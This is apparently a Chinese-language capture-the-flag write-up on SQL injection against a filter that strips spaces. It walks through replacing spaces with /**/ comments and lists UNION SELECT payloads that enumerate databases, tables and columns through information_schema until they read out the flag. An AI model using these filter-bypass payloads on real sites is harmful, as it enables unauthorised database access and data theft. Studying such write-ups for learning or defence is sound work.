参考文章:https://www.jianshu.com/p/b708bb599f56
知识点:SQL查询遇到过滤空格的情况,可以用/**/来代替
判断注入类型
基本的sql注入测试,首先输入1或者abc,正常的输入,没有报错;
其次输入' or '1,发现有报错,猜测可能是过滤了空格;
输入'/**/or/**/'1,发现可以正常查询;
所以推测过滤的可能是空格。
设计注入语句
发现注入类型之后,可以用/**/代替空格的方法来进行应对过滤规则。
构建'union/**/select/**/database()',发现竟然会报错,研究发现好像是()的问题;
重新构建'union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1,可以查询到数据库的名称为web1(或者information_schema、test);
构建'union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/='web1,可以查询到表的名称为flag(或者web_1);
构建'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag,可以查询到列的名称为flag(或者id);
最后构建'union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1查询列flag内容,得到flag的值。
至于为什么每个过程中没有查询另外的表或者列,是因为这是通过不断的试错过程,找到的一条通向flag的路。